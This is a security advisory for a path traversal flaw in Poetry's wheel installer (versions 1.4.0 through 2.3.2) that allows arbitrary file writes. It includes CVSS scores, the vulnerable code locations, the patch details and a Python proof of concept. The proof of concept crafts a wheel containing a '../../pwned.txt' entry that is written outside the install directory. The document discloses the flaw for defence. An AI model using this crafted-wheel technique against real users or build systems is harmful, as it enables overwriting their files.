GHSA-2599-h6xx-hpxp

Suggest an improvement
Source
https://github.com/advisories/GHSA-2599-h6xx-hpxp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-2599-h6xx-hpxp/GHSA-2599-h6xx-hpxp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-2599-h6xx-hpxp
Aliases
Downstream
CGA (4)
MINI (1)
Published
2026-04-01T22:17:36Z
Modified
2026-09-10T03:50:42Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N CVSS Calculator
  • 7.1 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
Details

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Database specific
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-01T22:17:36Z",
    "nvd_published_at":  "2026-04-02T18:16:31Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / poetry

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.4.0
Fixed
2.3.3

Affected versions

1.*
1.4.0
1.4.1
1.4.2
1.5.0
1.5.1
1.6.0
1.6.1
1.7.0
1.7.1
1.8.0
1.8.1
1.8.2
1.8.3
1.8.4
1.8.5
2.*
2.0.0
2.0.1
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.3.0
2.3.1
2.3.2

Database specific

last_known_affected_version_range
"<= 2.3.2"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-2599-h6xx-hpxp/GHSA-2599-h6xx-hpxp.json"